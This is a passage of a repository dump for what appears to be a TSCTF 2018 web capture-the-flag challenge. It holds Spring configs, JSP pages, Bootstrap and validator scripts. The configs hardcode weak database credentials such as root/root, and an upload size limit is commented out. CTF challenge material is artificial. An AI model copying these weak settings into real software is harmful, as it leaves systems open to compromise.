'[data-toggle=\"pill\"]', clickHandler)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: affix.js v3.3.5\n * http://getbootstrap.com/javascript/#affix\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // AFFIX CLASS DEFINITION\n  // ======================\n\n  var Affix = function (element, options) {\n    this.options = $.extend({}, Affix.DEFAULTS, options)\n\n    this.$target = $(this.options.target)\n      .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this))\n      .on('click.bs.affix.data-api',  $.proxy(this.checkPositionWithEventLoop, this))\n\n    this.$element     = $(element)\n    this.affixed      = null\n    this.unpin        = null\n    this.pinnedOffset = null\n\n    this.checkPosition()\n  }\n\n  Affix.VERSION  = '3.3.5'\n\n  Affix.RESET    = 'affix affix-top affix-bottom'\n\n  Affix.DEFAULTS = {\n    offset: 0,\n    target: window\n  }\n\n  Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) {\n    var scrollTop    = this.$target.scrollTop()\n    var position     = this.$element.offset()\n    var targetHeight = this.$target.height()\n\n    if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false\n\n    if (this.affixed == 'bottom') {\n      if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom'\n      return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom'\n    }\n\n    var initializing   = this.affixed == null\n    var colliderTop    = initializing ? scrollTop : position.top\n    var colliderHeight = initializing ? targetHeight : height\n\n    if (offsetTop != null && scrollTop <= offsetTop) return 'top'\n    if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom'\n\n    return false\n  }\n\n  Affix.prototype.getPinnedOffset = function () {\n    if (this.pinnedOffset) return this.pinnedOffset\n    this.$element.removeClass(Affix.RESET).addClass('affix')\n    var scrollTop = this.$target.scrollTop()\n    var position  = this.$element.offset()\n    return (this.pinnedOffset = position.top - scrollTop)\n  }\n\n  Affix.prototype.checkPositionWithEventLoop = function () {\n    setTimeout($.proxy(this.checkPosition, this), 1)\n  }\n\n  Affix.prototype.checkPosition = function () {\n    if (!this.$element.is(':visible')) return\n\n    var height       = this.$element.height()\n    var offset       = this.options.offset\n    var offsetTop    = offset.top\n    var offsetBottom = offset.bottom\n    var scrollHeight = Math.max($(document).height(), $(document.body).height())\n\n    if (typeof offset != 'object')         offsetBottom = offsetTop = offset\n    if (typeof offsetTop == 'function')    offsetTop    = offset.top(this.$element)\n    if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element)\n\n    var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom)\n\n    if (this.affixed != affix) {\n      if (this.unpin != null) this.$element.css('top', '')\n\n      var affixType = 'affix' + (affix ? '-' + affix : '')\n      var e         = $.Event(affixType + '.bs.affix')\n\n      this.$element.trigger(e)\n\n      if (e.isDefaultPrevented()) return\n\n      this.affixed = affix\n      this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null\n\n      this.$element\n        .removeClass(Affix.RESET)\n        .addClass(affixType)\n        .trigger(affixType.replace('affix', 'affixed') + '.bs.affix')\n    }\n\n    if (affix == 'bottom') {\n      this.$element.offset({\n        top: scrollHeight - height - offsetBottom\n      })\n    }\n  }\n\n\n  // AFFIX PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.affix')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.affix', (data = new Affix(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.affix\n\n  $.fn.affix             = Plugin\n  $.fn.affix.Constructor = Affix\n\n\n  // AFFIX NO CONFLICT\n  // =================\n\n  $.fn.affix.noConflict = function () {\n    $.fn.affix = old\n    return this\n  }\n\n\n  // AFFIX DATA-API\n  // ==============\n\n  $(window).on('load', function () {\n    $('[data-spy=\"affix\"]').each(function () {\n      var $spy = $(this)\n      var data = $spy.data()\n\n      data.offset = data.offset || {}\n\n      if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom\n      if (data.offsetTop    != null) data.offset.top    = data.offsetTop\n\n      Plugin.call($spy, data)\n    })\n  })\n\n}(jQuery);\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/js/npm.js",
    "content": "// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.\nrequire('../../js/transition.js')\nrequire('../../js/alert.js')\nrequire('../../js/button.js')\nrequire('../../js/carousel.js')\nrequire('../../js/collapse.js')\nrequire('../../js/dropdown.js')\nrequire('../../js/modal.js')\nrequire('../../js/tooltip.js')\nrequire('../../js/popover.js')\nrequire('../../js/scrollspy.js')\nrequire('../../js/tab.js')\nrequire('../../js/affix.js')"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/classes/spring-context.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/sampledb\"\n          p:username=\"root\"\n          p:password=\"root\" />\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 配置事务管理器 -->\n    <bean id=\"transactionManager\"\n          class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 通过AOP配置提供事务增强，让service包下所有Bean的所有方法拥有事务 -->\n    <aop:config proxy-target-class=\"true\">\n        <aop:pointcut id=\"serviceMethod\"\n                      expression=\"(execution(* com.bupt.service..*(..))) and (@annotation(org.springframework.transaction.annotation.Transactional))\" />\n        <aop:advisor pointcut-ref=\"serviceMethod\" advice-ref=\"txAdvice\" />\n    </aop:config>\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"*\" />\n        </tx:attributes>\n    </tx:advice>\n</beans>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/closed.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %><%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/22\n  Time: 1:09\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<div class=\"row\">\n    <div class=\"col-md-12 text-center\">\n        <h3>等待系统开放.......</h3>\n        <h4>系统开放时间段：<%=SystemDateTimeChecker.from%> ~ <%=SystemDateTimeChecker.to%></h4>\n        <h4>当前时间：<span id=\"currentTime\"></span></h4>\n    </div>\n</div>\n<script type=\"text/javascript\">\n    window.onload = function() {\n        var show = document.getElementById(\"currentTime\");\n        setInterval(function() {\n            var time = new Date();   // 程序计时的月从0开始取值后+1\n            var m = time.getMonth() + 1;\n            var t = time.getFullYear() + \"-\" + m + \"-\"\n                    + time.getDate() + \" \" + time.getHours() + \":\"\n                    + time.getMinutes() + \":\" + time.getSeconds();\n            show.innerHTML = t;\n        }, 1000);\n    };\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/competitionInfo.jsp",
    "content": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<div class=\"row\">\n    <div class=\"col-sm-12\" >\n        <div class=\"col-xs-12\">\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n                    <h2>恋爱的季节&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></h2>\n                </div>\n            </div>\n\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n                </div>\n            </div>\n\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n\n                </div>\n            </div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;经过漫长的冬季，一种叫做单身狗的生物揉揉惺忪的双眼，望着窗外春暖花开的景色，心中对于爱情的渴望如同一粒石子落入湖面后激起的涟漪，一圈一圈的荡漾开去......</p>\n                </div>\n            </div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"亲爱的爱上你,从那天起,甜蜜的很轻易\"单身狗哼着杰伦老师的《告白气球》，踏上了CTF的征程，此刻它的眼神坚定，无形的力量驱使着它一直向前，因为下一站是幸福~\n                    </p>\n                </div>\n            </div>\n\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当单身狗走进web世界，便可以进化为一只web狗。据说每一只web狗都有一只专属天使，专属天使择良木而栖，择Flag而食，为了喂饱它的天使，web狗不得不开始疯狂的寻找Flag，故事由此开始！</p>\n                </div>\n            </div>\n        </div>\n    </div>\n</div>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/footer.jsp",
    "content": "<%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/22\n  Time: 1:09\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<footer class=\"footer navbar-fixed-bottom \">\n    <div class=\"container\">\n        <div class=\"row\">\n            <div class=\"col-md-12 text-center\">\n                <p>版权所有 © TSCTF 2018</p>\n            </div>\n        </div>\n    </div>\n</footer>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/head.jsp",
    "content": "<%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/21\n  Time: 10:49\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n<!--bootstrap CSS-->\n<link rel=\"stylesheet\" href=\"${cp}bootstrap3.3.5/css/bootstrap.min.css\">\n<link rel=\"stylesheet\" href=\"${cp}css/bootstrap-datetimepicker.min.css\">\n<!--JavaScript-->\n<script src=\"${cp}js/jquery-1.9.1.min.js\"></script>\n<!--bootstrap js-->\n<script src=\"${cp}bootstrap3.3.5/js/bootstrap.min.js\"></script>\n<script src=\"${cp}js/bootstrap-datetimepicker.min.js\"></script>\n<script src=\"${cp}js/bootstrap-datetimepicker.zh-CN.js\"></script>\n<!--validation js-->\n<script src=\"${cp}js/myValidator.js\"></script>\n<!--show Tips js-->\n<script src=\"${cp}js/showTips.js\"></script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/infoTab.jsp",
    "content": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<div class=\"list-group\">\n    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-info\">线上预赛安排</a>\n    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-success\">竞赛规则</a>\n</div>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/navigator.jsp",
    "content": "<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/21\n  Time: 10:49\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<nav class=\"navbar navbar-default navbar-static-top\" role=\"navigation\">\n    <div class=\"container-fluid\">\n        <div class=\"navbar-header\">\n            <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\"#bs-example-navbar-collapse-1\">\n                <span class=\"sr-only\">Toggle navigation</span>\n                <span class=\"icon-bar\"></span>\n                <span class=\"icon-bar\"></span>\n                <span class=\"icon-bar\"></span>\n            </button>\n            <a class=\"navbar-brand\" href=\"/index.html\" target=\"_top\" >恋爱的季节入口</a>\n        </div>\n        <div class=\"collapse navbar-collapse\" id=\"bs-example-navbar-collapse-1\">\n            <%--<ul class=\"nav navbar-nav navbar-left\">--%>\n                <%--<li class=\"dropdown\">--%>\n                    <%--<a href=\"/info.html\" target=\"_top\">--%>\n                        <%--信息公告--%>\n                    <%--</a>--%>\n                <%--</li>--%>\n            <%--</ul>--%>\n            <ul class=\"nav navbar-nav navbar-right\">\n\n                <c:if test=\"${username!=null}\">\n                    <li class=\"dropdown\">\n                        <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\" role=\"button\" aria-haspopup=\"true\" aria-expanded=\"false\" target=\"_top\" >\n                            Hi~ ${username}<span class=\"caret\"></span>\n                        </a>\n                        <ul class=\"dropdown-menu\">\n                            <li><a href=\"/profile/my\" target=\"_top\" >查看恋爱心得</a></li>\n                            <li><a href=\"/profile/myProfile\" target=\"_top\" >查看个人信息</a></li>\n                            <li><a href=\"/user/logout\" target=\"_top\" >注销</a></li>\n                        </ul>\n                    </li>\n                </c:if>\n            </ul>\n        </div>\n        <!-- /.navbar-collapse -->\n    </div>\n    <!-- /.container-fluid -->\n</nav>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/index.jsp",
    "content": "<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<html>\n<html>\n<head>\n    <title>index</title>\n</head>\n<body>\n<h1>index</h1>\n<%\n    response.sendRedirect(basePath+\"index.html\");\n%>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/js/bootstrap-datetimepicker.zh-CN.js",
    "content": "/**\n * Simplified Chinese translation for bootstrap-datetimepicker\n * Yuan Cheung <advanimal@gmail.com>\n */\n;(function($){\n\t$.fn.datetimepicker.dates['zh-CN'] = {\n\t\t\tdays: [\"星期日\", \"星期一\", \"星期二\", \"星期三\", \"星期四\", \"星期五\", \"星期六\", \"星期日\"],\n\t\t\tdaysShort: [\"周日\", \"周一\", \"周二\", \"周三\", \"周四\", \"周五\", \"周六\", \"周日\"],\n\t\t\tdaysMin:  [\"日\", \"一\", \"二\", \"三\", \"四\", \"五\", \"六\", \"日\"],\n\t\t\tmonths: [\"一月\", \"二月\", \"三月\", \"四月\", \"五月\", \"六月\", \"七月\", \"八月\", \"九月\", \"十月\", \"十一月\", \"十二月\"],\n\t\t\tmonthsShort: [\"一月\", \"二月\", \"三月\", \"四月\", \"五月\", \"六月\", \"七月\", \"八月\", \"九月\", \"十月\", \"十一月\", \"十二月\"],\n\t\t\ttoday: \"今天\",\n\t\t\tsuffix: [],\n\t\t\tmeridiem: [\"上午\", \"下午\"]\n\t};\n}(jQuery));\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/js/myValidator.js",
    "content": "/**\n * 密码强度正则，最少6位，包括至少1个大写字母，1个小写字母，1个数字，1个特殊字符\n * 验证密码\n * @param password\n * @returns {boolean}\n */\n// function validatePassword(password) {\n//     var pPattern = /^.*(?=.{6,})(?=.*\\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[!@#$%^&*? ]).*$/;\n//     return pPattern.test(password);\n// }\n\n/**\n *\n //正整数正则\n * @param number\n */\nfunction validatePositiveInteger(number) {\n    var posPattern = /^\\d+$/;\n    return posPattern.test(number);\n}\n\n/**\n * 验证Email\n * @param email\n * @returns {boolean}\n */\nfunction validateEmail(email) {\n    //Email正则\n    var ePattern = /^([A-Za-z0-9_\\-\\.])+\\@([A-Za-z0-9_\\-\\.])+\\.([A-Za-z]{2,4})$/;\n    return ePattern.test(email);\n\n}\n\n/**\n * 电话号码\n * @param phone\n * @returns {boolean}\n */\nfunction validatePhoneNumber(phone) {\n    var mPattern = /^1[34578]\\d{9}$/; //http://caibaojian.com/regexp-example.html\n    return mPattern.test(phone);\n}\n\n/**\n * 身份证号（18位）正则\n * @param IDNumber\n * @returns {boolean}\n */\nfunction validateIDNumber(IDNumber) {\n    var cP = /^[1-9]\\d{5}(18|19|([23]\\d))\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$/;\n    return cP.test(IDNumber);\n\n}\n\n/**\n *\n //日期正则，复杂判定\n * @param date\n */\nfunction validateDate(date) {\n//日期正则，简单判定,未做月份及日期的判定\n    var dP1 = dP2 = /^(?:(?!0000)[0-9]{4}-(?:(?:0[1-9]|1[0-2])-(?:0[1-9]|1[0-9]|2[0-8])|(?:0[13-9]|1[0-2])-(?:29|30)|(?:0[13578]|1[02])-31)|(?:[0-9]{2}(?:0[48]|[2468][048]|[13579][26])|(?:0[48]|[2468][048]|[13579][26])00)-02-29)$/;\n    return dP1.test(date);\n}\n\nfunction validateLengthMax(str,max) {\n    var len = getByteLen(str);\n    return len<=max;\n}\n\nfunction validateLengthMin(str,min) {\n    var len = getByteLen(str);\n    return len>=min;\n}\n\n/**\n * 校验用户名\n * 要求：0-9a-zA-Z和@.+-_\n * 长度：30以内\n * @param username\n */\nfunction validateUserName(username) {\n    var uPattern = /^[0-9a-zA-Z@.+\\-_]{1,30}$/;\n    return uPattern.test(username);\n}\n\n/**\n * 校验密码\n * 要求：0-9a-zA-Z\n * 长度：6-12位\n * @param password\n */\nfunction validatePassword(password) {\n    var uPattern = /^[0-9a-zA-Z]{6,12}$/;\n    return uPattern.test(password);\n}\n/**\n * 获取字符串长度，一个中文算两个字符\n * @param val\n * @returns {number}\n */\nfunction getByteLen(val) {\n    var len = 0;\n    for (var i = 0; i < val.length; i++) {\n        var a = val.charAt(i);\n        if (a.match(/[^\\x00-\\xff]/ig) != null)\n        {\n            len += 2;\n        }\n        else\n        {\n            len += 1;\n        }\n    }\n    return len;\n}\n\nfunction myTrim(x) {\n    return x.replace(/^\\s+|\\s+$/gm,'');\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/js/showTips.js",
    "content": "//tip是提示信息，type:'success'是成功信息，'danger'是失败信息,'info'是普通信息\nfunction ShowTip(tip, type) {\n    var $tip = $('#tip');\n    if ($tip.length == 0) {\n        $tip = $('<span id=\"tip\" style=\"font-weight:bold;position:fixed;top:20px;left: 50%;z-index:9999\"></span>');\n        $('body').append($tip);\n    }\n    $tip.stop(true).attr('class', 'alert alert-' + type).text(tip).css('margin-left', -$tip.outerWidth() / 2).fadeIn(500).delay(3000).fadeOut(1500);\n}\n\nfunction ShowMsg(msg) {\n    ShowTip(msg, 'info');\n}\n\nfunction ShowSuccess(msg) {\n    ShowTip(msg, 'success');\n}\n\nfunction ShowFailure(msg) {\n    ShowTip(msg, 'danger');\n}\n\nfunction ShowWarn(msg, $focus, clear) {\n    ShowTip(msg, 'warning');\n    if ($focus) $focus.focus();\n    if (clear) $focus.val('');\n    return false;\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/classes/spring/ApplicationContext-dao.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/chapter2?characterEncoding=UTF-8\"\n          p:username=\"tomcat\"\n          p:password=\"tomcat\"/>\n\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\"/>\n\n\n\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/classes/spring/ApplicationContext-service.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/classes/spring/spring-context.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/chapter2\"\n          p:username=\"root\"\n          p:password=\"root\" />\n\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 配置事务管理器 -->\n    <bean id=\"transactionManager\"\n          class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 通过AOP配置提供事务增强，让service包下所有Bean的所有方法拥有事务 -->\n    <aop:config proxy-target-class=\"true\">\n        <aop:pointcut id=\"serviceMethod\"\n                      expression=\"(execution(* com.bupt.service..*(..))) and (@annotation(org.springframework.transaction.annotation.Transactional))\" />\n        <aop:advisor pointcut-ref=\"serviceMethod\" advice-ref=\"txAdvice\" />\n    </aop:config>\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"*\" />\n        </tx:attributes>\n    </tx:advice>\n</beans>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/classes/spring/sprintmvc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd\">\n\n\n    <mvc:annotation-driven/>\n    <context:annotation-config />\n\n    <!-- 扫描web包，应用Spring的注解 -->\n    <context:component-scan base-package=\"com.bupt.web\"/>\n\n    <!--全局错误信息处理器\n      只要实现HandlerExceptionResolver接口就是全局异常处理器\n    -->\n    <!--<bean class=\"com.bupt.exception.CustomExceptionResolver\"/>-->\n\n    <!-- 拦截器 -->\n    <mvc:interceptors>\n         <!--多个拦截器，顺序执行 -->\n         <!--如果有多个拦截器，则按照顺序进行配置-->\n        <mvc:interceptor>\n            <mvc:mapping path=\"/profile/add\"/>\n             <!--配置自定义的文件上传类型限制拦截器-->\n            <bean class=\"com.bupt.interceptor.FileTypeInterceptor\"/>\n        </mvc:interceptor>\n\n        <mvc:interceptor>\n            <mvc:mapping path=\"/profile/**\"/>\n            <mvc:mapping path=\"/download/**\"/>\n            <mvc:mapping path=\"/admin/**\"/>\n            <bean class=\"com.bupt.interceptor.LoginInterceptor\"/>\n        </mvc:interceptor>\n\n    </mvc:interceptors>\n\n    <!-- 对文件上传的处理，这里声明的id必须为multipartResolver-->\n    <bean id=\"multipartResolver\"  class=\"org.springframework.web.multipart.commons.CommonsMultipartResolver\" >\n        <!--  最大为10M，单位为字节   -->\n        <!--<property name=\"maxUploadSize\" value=\"10485760\"></property>-->\n        <property name=\"defaultEncoding\" value=\"utf-8\"></property>\n        <property name=\"maxInMemorySize\" value=\"40960\"></property>\n    </bean>\n\n    <bean class=\"com.bupt.common.SpringExceptionResolver\" />\n\n    <bean class=\"org.springframework.web.servlet.view.BeanNameViewResolver\" />\n\n    <bean id=\"jsonView\" class=\"org.springframework.web.servlet.view.json.MappingJackson2JsonView\" />\n\n    <!-- 配置视图解析器，将ModelAndView及字符串解析为具体的页面 -->\n    <bean class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\">\n        <property name=\"prefix\" value=\"/WEB-INF/jsp/\" />\n        <property name=\"suffix\" value=\".jsp\" />\n    </bean>\n    <!--<bean-->\n            <!--class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\"-->\n            <!--p:viewClass=\"org.springframework.web.servlet.view.JstlView\"-->\n            <!--p:prefix=\"/WEB-INF/jsp/\"-->\n            <!--p:suffix=\".jsp\"/>-->\n\n    <!-- 配置静态资源 -->\n    <mvc:default-servlet-handler />\n    <!--对静态资源文件的访问 -->\n\n    <mvc:resources location=\"/css/\" mapping=\"/css/**\"/>\n    <mvc:resources location=\"/js/\" mapping=\"/js/**\"/>\n    <mvc:resources location=\"/bootstrap3.3.5/\" mapping=\"/bootstrap3.3.5/**\"/>\n    <mvc:resources location=\"/images/\" mapping=\"/images/**\"/>\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/classes/sysConfig.properties",
